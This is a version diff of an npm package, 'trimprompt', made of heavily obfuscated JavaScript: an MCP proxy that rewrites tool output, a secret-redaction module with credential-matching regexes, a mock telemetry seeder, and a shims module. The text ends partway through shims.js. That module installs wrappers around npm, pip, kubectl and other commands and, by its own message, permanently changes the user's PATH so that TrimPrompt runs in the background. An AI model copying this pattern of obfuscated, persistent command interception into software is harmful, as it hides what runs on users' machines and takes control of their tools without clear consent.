__createBinding=this&&this[a0_0x54c50b(0x132)]||(Object[a0_0x54c50b(0x15c)]?function(_0x11c7a9,_0x1e22c0,_0x54701b,_0x1c21e1){const _0x3da4f7=a0_0x54c50b;if(_0x1c21e1===undefined)_0x1c21e1=_0x54701b;var _0x591f43=Object[_0x3da4f7(0x144)](_0x1e22c0,_0x54701b);(!_0x591f43||(_0x3da4f7(0x155)in _0x591f43?!_0x1e22c0[_0x3da4f7(0x13e)]:_0x591f43[_0x3da4f7(0x140)]||_0x591f43[_0x3da4f7(0x157)]))&&(_0x591f43={'enumerable':!![],'get':function(){return _0x1e22c0[_0x54701b];}}),Object['defineProperty'](_0x11c7a9,_0x1c21e1,_0x591f43);}:function(_0x2354cd,_0x4ce6dd,_0x4bd43e,_0x3af808){if(_0x3af808===undefined)_0x3af808=_0x4bd43e;_0x2354cd[_0x3af808]=_0x4ce6dd[_0x4bd43e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x54c50b(0x15c)]?function(_0x475550,_0x324303){const _0x5645b6=a0_0x54c50b;Object['defineProperty'](_0x475550,_0x5645b6(0x14f),{'enumerable':!![],'value':_0x324303});}:function(_0x212916,_0x471e3d){const _0x541250=a0_0x54c50b;_0x212916[_0x541250(0x14f)]=_0x471e3d;}),__importStar=this&&this['__importStar']||(function(){var _0x157e7b=function(_0xaea26a){const _0x2fd262=a0_0x235b;return _0x157e7b=Object[_0x2fd262(0x151)]||function(_0x38afe8){const _0x39deb7=_0x2fd262;var _0x1f9f64=[];for(var _0x417af0 in _0x38afe8)if(Object[_0x39deb7(0x15d)]['hasOwnProperty'][_0x39deb7(0x139)](_0x38afe8,_0x417af0))_0x1f9f64[_0x1f9f64[_0x39deb7(0x149)]]=_0x417af0;return _0x1f9f64;},_0x157e7b(_0xaea26a);};return function(_0x21f177){const _0x496ae5=a0_0x235b;if(_0x21f177&&_0x21f177[_0x496ae5(0x13e)])return _0x21f177;var _0x28be1d={};if(_0x21f177!=null){for(var _0x1e88d0=_0x157e7b(_0x21f177),_0x14a244=0x0;_0x14a244<_0x1e88d0[_0x496ae5(0x149)];_0x14a244++)if(_0x1e88d0[_0x14a244]!=='default')__createBinding(_0x28be1d,_0x21f177,_0x1e88d0[_0x14a244]);}return __setModuleDefault(_0x28be1d,_0x21f177),_0x28be1d;};}());Object[a0_0x54c50b(0x135)](exports,a0_0x54c50b(0x13e),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;function a0_0x42ca(){const _0x553445=['create','prototype','close','getConfig','48cGPRNw','child_process','stdin','mcp\x20tool\x20(id:\x20','1319931FApGwX','error','215685hMtcqo','__createBinding','trim','19901330cdsSgA','defineProperty','message','inherit','8jmzIHw','call','2940582vHEuyv','./filters','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','1998LJSktK','__esModule','2841636UAAPTB','writable','write','jsonrpc','compressOutput','getOwnPropertyDescriptor','createInterface','readline','./tracker','tracker','length','stdout','pipe','2.0','parse','text','default','logExecution','getOwnPropertyNames','mcp-tool-call','type','1356UlATlq','get','string','configurable','exit','content','239080cVczeu','isArray'];a0_0x42ca=function(){return _0x553445;};return a0_0x42ca();}const child_process_1=require(a0_0x54c50b(0x12c)),readline=__importStar(require(a0_0x54c50b(0x146))),filters_1=require(a0_0x54c50b(0x13b)),tracker_1=require(a0_0x54c50b(0x147));function runMcpProxy(_0x1b2c8c,_0x57311b){const _0x1c2ede=a0_0x54c50b,_0x5ca77b=(0x0,child_process_1['spawn'])(_0x1b2c8c,_0x57311b,{'stdio':[_0x1c2ede(0x14b),'pipe',_0x1c2ede(0x137)]});process['stdin']['pipe'](_0x5ca77b[_0x1c2ede(0x12d)]);const _0x410018=readline[_0x1c2ede(0x145)]({'input':_0x5ca77b[_0x1c2ede(0x14a)],'terminal':![]});_0x410018['on']('line',_0x500665=>{const _0x1f4228=_0x1c2ede;try{const _0x176926=JSON[_0x1f4228(0x14d)](_0x500665);if(_0x176926&&_0x176926[_0x1f4228(0x142)]===_0x1f4228(0x14c)&&_0x176926['id']!==undefined&&_0x176926['result']&&Array[_0x1f4228(0x15b)](_0x176926['result'][_0x1f4228(0x159)])){let _0x51d395=![];for(const _0x1a26e3 of _0x176926['result'][_0x1f4228(0x159)]){if(_0x1a26e3[_0x1f4228(0x153)]==='text'&&typeof _0x1a26e3['text']===_0x1f4228(0x156)&&_0x1a26e3[_0x1f4228(0x14e)][_0x1f4228(0x133)]()[_0x1f4228(0x149)]>0x0){const _0x5d88cb=_0x1a26e3['text'],_0x191ab0=(0x0,filters_1[_0x1f4228(0x143)])(_0x1f4228(0x152),_0x5d88cb,'',tracker_1['tracker'][_0x1f4228(0x15f)]()['redaction_enabled']);tracker_1[_0x1f4228(0x148)][_0x1f4228(0x150)](_0x1f4228(0x12e)+_0x176926['id']+')',_0x5d88cb,_0x191ab0,0x0),_0x1a26e3[_0x1f4228(0x14e)]=_0x191ab0,_0x51d395=!![];}}_0x51d395?process['stdout'][_0x1f4228(0x141)](JSON['stringify'](_0x176926)+'\x0a'):process[_0x1f4228(0x14a)][_0x1f4228(0x141)](_0x500665+'\x0a');}else process[_0x1f4228(0x14a)]['write'](_0x500665+'\x0a');}catch{process[_0x1f4228(0x14a)]['write'](_0x500665+'\x0a');}}),_0x5ca77b['on'](_0x1c2ede(0x15e),_0x327a85=>{process['exit'](_0x327a85||0x0);}),_0x5ca77b['on'](_0x1c2ede(0x130),_0x4ccaea=>{const _0x3cbd25=_0x1c2ede;console[_0x3cbd25(0x130)](_0x3cbd25(0x13c)+_0x4ccaea[_0x3cbd25(0x136)]),process[_0x3cbd25(0x158)](0x1);});}
1
+ 'use strict';const a0_0x517775=a0_0x280b;(function(_0x55ce5b,_0x2bb264){const _0x5d94b6=a0_0x280b,_0xd50ceb=_0x55ce5b();while(!![]){try{const _0x141896=parseInt(_0x5d94b6(0x1df))/0x1*(parseInt(_0x5d94b6(0x1ff))/0x2)+parseInt(_0x5d94b6(0x204))/0x3*(-parseInt(_0x5d94b6(0x1e1))/0x4)+parseInt(_0x5d94b6(0x201))/0x5*(-parseInt(_0x5d94b6(0x203))/0x6)+-parseInt(_0x5d94b6(0x1ee))/0x7*(-parseInt(_0x5d94b6(0x1ec))/0x8)+parseInt(_0x5d94b6(0x20d))/0x9*(parseInt(_0x5d94b6(0x1f9))/0xa)+-parseInt(_0x5d94b6(0x1eb))/0xb*(parseInt(_0x5d94b6(0x1ed))/0xc)+parseInt(_0x5d94b6(0x1fb))/0xd;if(_0x141896===_0x2bb264)break;else _0xd50ceb['push'](_0xd50ceb['shift']());}catch(_0xe3e7db){_0xd50ceb['push'](_0xd50ceb['shift']());}}}(a0_0x1207,0x6231d));function a0_0x280b(_0x56d89c,_0x10c2e6){const _0x12070d=a0_0x1207();return a0_0x280b=function(_0x280b09,_0x26c3b4){_0x280b09=_0x280b09-0x1d7;let _0x488cbe=_0x12070d[_0x280b09];return _0x488cbe;},a0_0x280b(_0x56d89c,_0x10c2e6);}var __createBinding=this&&this[a0_0x517775(0x208)]||(Object[a0_0x517775(0x1e7)]?function(_0x4a85f1,_0x555df1,_0x33f044,_0x4b6dbb){const _0x39ac5e=a0_0x517775;if(_0x4b6dbb===undefined)_0x4b6dbb=_0x33f044;var _0x49806b=Object[_0x39ac5e(0x209)](_0x555df1,_0x33f044);(!_0x49806b||(_0x39ac5e(0x1e8)in _0x49806b?!_0x555df1[_0x39ac5e(0x207)]:_0x49806b['writable']||_0x49806b[_0x39ac5e(0x1f4)]))&&(_0x49806b={'enumerable':!![],'get':function(){return _0x555df1[_0x33f044];}}),Object[_0x39ac5e(0x1fa)](_0x4a85f1,_0x4b6dbb,_0x49806b);}:function(_0x287721,_0x5af0c4,_0x330cdb,_0x2e8340){if(_0x2e8340===undefined)_0x2e8340=_0x330cdb;_0x287721[_0x2e8340]=_0x5af0c4[_0x330cdb];}),__setModuleDefault=this&&this[a0_0x517775(0x1f7)]||(Object[a0_0x517775(0x1e7)]?function(_0x1f2b44,_0x239ca9){const _0x1ff79e=a0_0x517775;Object[_0x1ff79e(0x1fa)](_0x1f2b44,_0x1ff79e(0x1ef),{'enumerable':!![],'value':_0x239ca9});}:function(_0x5f1c3d,_0x3964b1){const _0xb991b4=a0_0x517775;_0x5f1c3d[_0xb991b4(0x1ef)]=_0x3964b1;}),__importStar=this&&this[a0_0x517775(0x1d9)]||(function(){var _0x297267=function(_0x1739ff){return _0x297267=Object['getOwnPropertyNames']||function(_0x562889){const _0x4b802e=a0_0x280b;var _0x4ad1f2=[];for(var _0x4b8c76 in _0x562889)if(Object[_0x4b802e(0x1de)][_0x4b802e(0x20b)][_0x4b802e(0x20c)](_0x562889,_0x4b8c76))_0x4ad1f2[_0x4ad1f2[_0x4b802e(0x206)]]=_0x4b8c76;return _0x4ad1f2;},_0x297267(_0x1739ff);};return function(_0x3b142f){const _0x581648=a0_0x280b;if(_0x3b142f&&_0x3b142f[_0x581648(0x207)])return _0x3b142f;var _0x512814={};if(_0x3b142f!=null){for(var _0x368e3b=_0x297267(_0x3b142f),_0x4b1401=0x0;_0x4b1401<_0x368e3b[_0x581648(0x206)];_0x4b1401++)if(_0x368e3b[_0x4b1401]!=='default')__createBinding(_0x512814,_0x3b142f,_0x368e3b[_0x4b1401]);}return __setModuleDefault(_0x512814,_0x3b142f),_0x512814;};}());Object[a0_0x517775(0x1fa)](exports,a0_0x517775(0x207),{'value':!![]}),exports[a0_0x517775(0x211)]=runMcpProxy;const child_process_1=require(a0_0x517775(0x1f1)),readline=__importStar(require(a0_0x517775(0x1f2))),filters_1=require(a0_0x517775(0x1ea)),tracker_1=require('./tracker');function runMcpProxy(_0x5b251e,_0x38201b){const _0x24dceb=a0_0x517775,_0x1197e6=(0x0,child_process_1[_0x24dceb(0x20a)])(_0x5b251e,_0x38201b,{'stdio':['pipe',_0x24dceb(0x1f8),_0x24dceb(0x205)]});process['stdin']['pipe'](_0x1197e6[_0x24dceb(0x1dc)]);const _0x9f1036=readline[_0x24dceb(0x20f)]({'input':_0x1197e6[_0x24dceb(0x1f3)],'terminal':![]});_0x9f1036['on'](_0x24dceb(0x1e2),_0x5dea2c=>{const _0x30dcd0=_0x24dceb;try{const _0x4ad6a6=JSON[_0x30dcd0(0x210)](_0x5dea2c);if(_0x4ad6a6&&_0x4ad6a6[_0x30dcd0(0x1f6)]===_0x30dcd0(0x1e6)&&_0x4ad6a6['id']!==undefined&&_0x4ad6a6[_0x30dcd0(0x1e4)]&&Array[_0x30dcd0(0x1e0)](_0x4ad6a6[_0x30dcd0(0x1e4)][_0x30dcd0(0x202)])){let _0x2cf781=![];for(const _0x3b72d0 of _0x4ad6a6[_0x30dcd0(0x1e4)][_0x30dcd0(0x202)]){if(_0x3b72d0[_0x30dcd0(0x1d8)]===_0x30dcd0(0x1d7)&&typeof _0x3b72d0['text']===_0x30dcd0(0x1fc)&&_0x3b72d0[_0x30dcd0(0x1d7)][_0x30dcd0(0x1e3)]()[_0x30dcd0(0x206)]>0x0){const _0x50283c=_0x3b72d0[_0x30dcd0(0x1d7)],_0x426ce0=(0x0,filters_1[_0x30dcd0(0x1db)])(_0x30dcd0(0x1da),_0x50283c,'',tracker_1['tracker'][_0x30dcd0(0x1f5)]()[_0x30dcd0(0x200)]);tracker_1['tracker']['logExecution'](_0x30dcd0(0x1fd)+_0x4ad6a6['id']+')',_0x50283c,_0x426ce0,0x0),_0x3b72d0[_0x30dcd0(0x1d7)]=_0x426ce0,_0x2cf781=!![];}}_0x2cf781?process[_0x30dcd0(0x1f3)]['write'](JSON[_0x30dcd0(0x1e5)](_0x4ad6a6)+'\x0a'):process[_0x30dcd0(0x1f3)][_0x30dcd0(0x1dd)](_0x5dea2c+'\x0a');}else process[_0x30dcd0(0x1f3)][_0x30dcd0(0x1dd)](_0x5dea2c+'\x0a');}catch{process['stdout']['write'](_0x5dea2c+'\x0a');}}),_0x1197e6['on']('close',_0x20b163=>{process['exit'](_0x20b163||0x0);}),_0x1197e6['on']('error',_0x197fea=>{const _0x5d1614=_0x24dceb;console[_0x5d1614(0x20e)](_0x5d1614(0x1f0)+_0x197fea[_0x5d1614(0x1fe)]),process[_0x5d1614(0x1e9)](0x1);});}function a0_0x1207(){const _0x176725=['__esModule','__createBinding','getOwnPropertyDescriptor','spawn','hasOwnProperty','call','80217UIjIpQ','error','createInterface','parse','runMcpProxy','text','type','__importStar','mcp-tool-call','compressOutput','stdin','write','prototype','6vtSkgZ','isArray','4kCggus','line','trim','result','stringify','2.0','create','get','exit','./filters','11uyJDVT','8GpfftA','5398092TcKwOd','4684729hfRZbt','default','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','child_process','readline','stdout','configurable','getConfig','jsonrpc','__setModuleDefault','pipe','590FWigDV','defineProperty','1670474QJoDnn','string','mcp\x20tool\x20(id:\x20','message','267936lDanPv','redaction_enabled','141595mxdCRZ','content','138IntrDC','1872111mfejiK','inherit','length'];a0_0x1207=function(){return _0x176725;};return a0_0x1207();}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5e93c3=a0_0x151e;(function(_0x3102d3,_0x55f72d){const _0x1f92d3=a0_0x151e,_0x4dfab8=_0x3102d3();while(!![]){try{const _0x44bb36=parseInt(_0x1f92d3(0xc4))/0x1*(-parseInt(_0x1f92d3(0xc3))/0x2)+-parseInt(_0x1f92d3(0xb6))/0x3+parseInt(_0x1f92d3(0xae))/0x4*(-parseInt(_0x1f92d3(0xbc))/0x5)+-parseInt(_0x1f92d3(0xb0))/0x6+parseInt(_0x1f92d3(0xb3))/0x7+-parseInt(_0x1f92d3(0xbd))/0x8+parseInt(_0x1f92d3(0xbb))/0x9*(parseInt(_0x1f92d3(0xaf))/0xa);if(_0x44bb36===_0x55f72d)break;else _0x4dfab8['push'](_0x4dfab8['shift']());}catch(_0xd3d27f){_0x4dfab8['push'](_0x4dfab8['shift']());}}}(a0_0x8262,0xece77));function a0_0x151e(_0x36005b,_0x3dc0da){_0x36005b=_0x36005b-0xae;const _0x8262fa=a0_0x8262();let _0x151ecd=_0x8262fa[_0x36005b];return _0x151ecd;}Object[a0_0x5e93c3(0xb9)](exports,a0_0x5e93c3(0xb2),{'value':!![]}),exports['redactor']=exports[a0_0x5e93c3(0xbf)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x44a24a=a0_0x5e93c3;this[_0x44a24a(0xc1)]();}[a0_0x5e93c3(0xc1)](){const _0x14de86=a0_0x5e93c3;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x14de86(0xc2),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':_0x14de86(0xc0),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':_0x14de86(0xb8),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x14de86(0xba)}];}[a0_0x5e93c3(0xb4)](_0x3a7e3e){const _0xb849b2=a0_0x5e93c3;let _0x5bfe45=_0x3a7e3e;for(const _0x304399 of this[_0xb849b2(0xb5)]){_0x5bfe45=_0x5bfe45['replace'](_0x304399[_0xb849b2(0xbe)],_0x304399[_0xb849b2(0xb7)]);}return _0x5bfe45;}}function a0_0x8262(){const _0x285701=['2708ZbCRjZ','1514510FNEndT','6379812jZOxnR','redactor','__esModule','2189838dZzLdo','redact','rules','2154486rzGViB','replacement','Email\x20Address','defineProperty','[REDACTED_EMAIL]','297ZvmQMS','4115CDBpaa','8574792oZfqbf','regex','Redactor','IPv4\x20Address','loadDefaultRules','API\x20Key\x20or\x20Password','1606RnHsKA','1158MUIlWi'];a0_0x8262=function(){return _0x285701;};return a0_0x8262();}exports[a0_0x5e93c3(0xbf)]=Redactor,exports[a0_0x5e93c3(0xb1)]=new Redactor();
1
+ 'use strict';const a0_0x284d3c=a0_0x3dbd;(function(_0xcd485,_0x561def){const _0x34ca65=a0_0x3dbd,_0x29966=_0xcd485();while(!![]){try{const _0x177cb9=parseInt(_0x34ca65(0x1c2))/0x1*(-parseInt(_0x34ca65(0x1bd))/0x2)+-parseInt(_0x34ca65(0x1b3))/0x3*(-parseInt(_0x34ca65(0x1be))/0x4)+parseInt(_0x34ca65(0x1b4))/0x5+parseInt(_0x34ca65(0x1c9))/0x6*(-parseInt(_0x34ca65(0x1b9))/0x7)+-parseInt(_0x34ca65(0x1b5))/0x8+parseInt(_0x34ca65(0x1b6))/0x9+-parseInt(_0x34ca65(0x1c5))/0xa;if(_0x177cb9===_0x561def)break;else _0x29966['push'](_0x29966['shift']());}catch(_0x2d9e6d){_0x29966['push'](_0x29966['shift']());}}}(a0_0x175d,0xb82e4));function a0_0x3dbd(_0x27c28f,_0x454318){const _0x175d5c=a0_0x175d();return a0_0x3dbd=function(_0x3dbd57,_0x68657e){_0x3dbd57=_0x3dbd57-0x1b3;let _0x2ae89c=_0x175d5c[_0x3dbd57];return _0x2ae89c;},a0_0x3dbd(_0x27c28f,_0x454318);}Object['defineProperty'](exports,a0_0x284d3c(0x1c8),{'value':!![]}),exports[a0_0x284d3c(0x1c3)]=exports[a0_0x284d3c(0x1c4)]=void 0x0;class Redactor{[a0_0x284d3c(0x1bf)]=[];constructor(){const _0x45a6de=a0_0x284d3c;this[_0x45a6de(0x1c7)]();}[a0_0x284d3c(0x1c7)](){const _0x36da46=a0_0x284d3c;this[_0x36da46(0x1bf)]=[{'name':_0x36da46(0x1bb),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x36da46(0x1ba)},{'name':_0x36da46(0x1c1),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':_0x36da46(0x1c6),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x36da46(0x1bc)}];}[a0_0x284d3c(0x1ca)](_0x499816){const _0x2a264e=a0_0x284d3c;let _0x3bfff6=_0x499816;for(const _0x1fbf79 of this['rules']){_0x3bfff6=_0x3bfff6[_0x2a264e(0x1c0)](_0x1fbf79[_0x2a264e(0x1b8)],_0x1fbf79[_0x2a264e(0x1b7)]);}return _0x3bfff6;}}exports[a0_0x284d3c(0x1c4)]=Redactor,exports[a0_0x284d3c(0x1c3)]=new Redactor();function a0_0x175d(){const _0x20a16c=['16329BCxvfS','7366290WWGzbl','4279656SocHEv','2039589HhmDYD','replacement','regex','49TpadTy','[REDACTED_DB_CONNECTION_STRING]','Database\x20Connection\x20String','[REDACTED_EMAIL]','464886kVCZwZ','836pFBqag','rules','replace','API\x20Key\x20or\x20Password','1YzWZgH','redactor','Redactor','6044830FqvTPG','Email\x20Address','loadDefaultRules','__esModule','609582VhKERt','redact'];a0_0x175d=function(){return _0x20a16c;};return a0_0x175d();}
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4f66ef=a0_0x30af;(function(_0x1d5ff0,_0x36aaeb){const _0x5d20ec=a0_0x30af,_0x457374=_0x1d5ff0();while(!![]){try{const _0x58cadd=-parseInt(_0x5d20ec(0x13f))/0x1*(-parseInt(_0x5d20ec(0x151))/0x2)+parseInt(_0x5d20ec(0x157))/0x3+parseInt(_0x5d20ec(0x141))/0x4*(parseInt(_0x5d20ec(0x149))/0x5)+parseInt(_0x5d20ec(0x144))/0x6+parseInt(_0x5d20ec(0x150))/0x7+-parseInt(_0x5d20ec(0x14e))/0x8*(-parseInt(_0x5d20ec(0x143))/0x9)+parseInt(_0x5d20ec(0x142))/0xa*(-parseInt(_0x5d20ec(0x13e))/0xb);if(_0x58cadd===_0x36aaeb)break;else _0x457374['push'](_0x457374['shift']());}catch(_0x232e8b){_0x457374['push'](_0x457374['shift']());}}}(a0_0x1adf,0x6707f));function a0_0x1adf(){const _0x4c17e3=['2241827REtkBy','21370SpQfQf','gpt-4o','tracker','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','claude-3-opus','Test\x20suite\x20run\x20starting...\x0a','369135ezUOGX','./tracker','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','defineProperty','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','pytest\x20tests/app','12256486nlJbWP','2NgdLEF','[INFO]\x20Building\x20modules...\x0a','4rnrkSD','10tuNCvL','342rXCNpY','1722666bptUaF','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','Compilation\x20Output:\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Database\x20successfully\x20seeded!','3661590DNPROw','repeat','npm\x20run\x20build','gemini-1-5-pro','added\x201420\x20packages\x20in\x2014s\x0a','10976tGcWcC','log'];a0_0x1adf=function(){return _0x4c17e3;};return a0_0x1adf();}function a0_0x30af(_0x19a816,_0x56c194){_0x19a816=_0x19a816-0x13b;const _0x1adf9b=a0_0x1adf();let _0x30afae=_0x1adf9b[_0x19a816];return _0x30afae;}Object[a0_0x4f66ef(0x15a)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x4f66ef(0x158));console['log'](a0_0x4f66ef(0x13c)),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x155),tracker_1[a0_0x4f66ef(0x153)]['logExecution'](a0_0x4f66ef(0x14b),a0_0x4f66ef(0x146)+a0_0x4f66ef(0x140)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x152),tracker_1[a0_0x4f66ef(0x153)][a0_0x4f66ef(0x13b)](a0_0x4f66ef(0x13d),a0_0x4f66ef(0x156)+'test_auth.py\x20PASS\x0a'+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4f66ef(0x14a)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.',0x0),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x14c),tracker_1[a0_0x4f66ef(0x153)][a0_0x4f66ef(0x13b)]('docker\x20build\x20.',a0_0x4f66ef(0x159)+a0_0x4f66ef(0x147)+a0_0x4f66ef(0x154)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x4f66ef(0x14d)[a0_0x4f66ef(0x14a)](0x3)+'Successfully\x20built\x20image.',a0_0x4f66ef(0x145),0x0),console[a0_0x4f66ef(0x14f)](a0_0x4f66ef(0x148));
1
+ 'use strict';const a0_0x343310=a0_0x224f;(function(_0x2d29f4,_0x132b96){const _0x111a08=a0_0x224f,_0x216b86=_0x2d29f4();while(!![]){try{const _0x5b5475=-parseInt(_0x111a08(0xc2))/0x1+-parseInt(_0x111a08(0xca))/0x2*(-parseInt(_0x111a08(0xbd))/0x3)+-parseInt(_0x111a08(0xb7))/0x4+-parseInt(_0x111a08(0xae))/0x5+parseInt(_0x111a08(0xb9))/0x6*(parseInt(_0x111a08(0xb5))/0x7)+parseInt(_0x111a08(0xc3))/0x8+-parseInt(_0x111a08(0xb4))/0x9*(-parseInt(_0x111a08(0xbc))/0xa);if(_0x5b5475===_0x132b96)break;else _0x216b86['push'](_0x216b86['shift']());}catch(_0xbf6f55){_0x216b86['push'](_0x216b86['shift']());}}}(a0_0x4f93,0xb255b));function a0_0x224f(_0x41acff,_0x4c501d){const _0x4f93b9=a0_0x4f93();return a0_0x224f=function(_0x224f57,_0x243a0c){_0x224f57=_0x224f57-0xa9;let _0x55943f=_0x4f93b9[_0x224f57];return _0x55943f;},a0_0x224f(_0x41acff,_0x4c501d);}Object[a0_0x343310(0xac)](exports,a0_0x343310(0xc7),{'value':!![]});const tracker_1=require('./tracker');function a0_0x4f93(){const _0x32372a=['Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','Optimizing\x20assets...\x0a','2mZcDuI','log','env','logExecution','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','defineProperty','test_api.py\x20PASS\x0a','7215545IwRXsC','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Database\x20successfully\x20seeded!','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','gemini-1-5-pro','9JRTFYT','1281xMIcZk','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','819188GoXfVy','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','10926XaoKBX','tracker','test_db.py\x20PASS\x0a','9988310CZWHiV','496473psdRvG','added\x201420\x20packages\x20in\x2014s\x0a','docker\x20build\x20.','repeat','TRIMPROMPT_MODEL','301972KXpaTN','9462176UVuIGQ','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Successfully\x20built\x20image.','npm\x20run\x20build','__esModule'];a0_0x4f93=function(){return _0x32372a;};return a0_0x4f93();}console[a0_0x343310(0xcb)](a0_0x343310(0xc8)),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]='claude-3-opus',tracker_1[a0_0x343310(0xba)]['logExecution'](a0_0x343310(0xc6),'Compilation\x20Output:\x0a'+'[INFO]\x20Building\x20modules...\x0a'+a0_0x343310(0xc9)+a0_0x343310(0xb2)[a0_0x343310(0xc0)](0x190),a0_0x343310(0xb1),0x0),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]='gpt-4o',tracker_1['tracker'][a0_0x343310(0xaa)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+'test_auth.py\x20PASS\x0a'+a0_0x343310(0xbb)+a0_0x343310(0xad)[a0_0x343310(0xc0)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x343310(0xc4),0x0),process[a0_0x343310(0xa9)][a0_0x343310(0xc1)]=a0_0x343310(0xb3),tracker_1['tracker']['logExecution'](a0_0x343310(0xbf),a0_0x343310(0xab)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x343310(0xb6)+a0_0x343310(0xaf)+a0_0x343310(0xbe)['repeat'](0x3)+a0_0x343310(0xc5),a0_0x343310(0xb8),0x0),console['log'](a0_0x343310(0xb0));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x120aaa=a0_0x45df;(function(_0x29dc4d,_0x26378e){const _0x6ef82a=a0_0x45df,_0x66c65c=_0x29dc4d();while(!![]){try{const _0x5a27c2=parseInt(_0x6ef82a(0xfe))/0x1*(-parseInt(_0x6ef82a(0xd1))/0x2)+parseInt(_0x6ef82a(0xf0))/0x3+parseInt(_0x6ef82a(0xd2))/0x4+-parseInt(_0x6ef82a(0xda))/0x5*(-parseInt(_0x6ef82a(0xb5))/0x6)+parseInt(_0x6ef82a(0xe9))/0x7+-parseInt(_0x6ef82a(0xbd))/0x8*(-parseInt(_0x6ef82a(0xcb))/0x9)+parseInt(_0x6ef82a(0xd9))/0xa*(-parseInt(_0x6ef82a(0xc6))/0xb);if(_0x5a27c2===_0x26378e)break;else _0x66c65c['push'](_0x66c65c['shift']());}catch(_0x196536){_0x66c65c['push'](_0x66c65c['shift']());}}}(a0_0x1d32,0xa170d));function a0_0x45df(_0x90c42b,_0x34b1ed){_0x90c42b=_0x90c42b-0xb4;const _0x1d32fa=a0_0x1d32();let _0x45dfb8=_0x1d32fa[_0x90c42b];return _0x45dfb8;}function a0_0x1d32(){const _0x288d06=['35JqsXey','existsSync','755','\x20commands.\x0a\x0a','@echo\x20off\x0atrim\x20','path','platform','mkdirSync','pip3','#!/bin/sh\x0aexec\x20trim\x20',':$PATH\x22','trim\x20','utf8','homedir','toString','1194578MMKyEj','shims','writable','npm','glab','__esModule','hasOwnProperty','1149636lpeAJy','unlinkSync','default','writeFileSync','Failed\x20to\x20uninstall\x20shims:\x20','join','child_process','get','prototype','includes','yarn','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','call','pip','6JzjufL','rmdirSync','pnpm','1122222OtHIng','powershell\x20-Command\x20\x22','\x20%*\x0a','npx','appendFileSync','trim','win32','length','56gsgiVL','.bash_profile','uninstallShims','__createBinding','.profile','kubectl','__setModuleDefault','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20win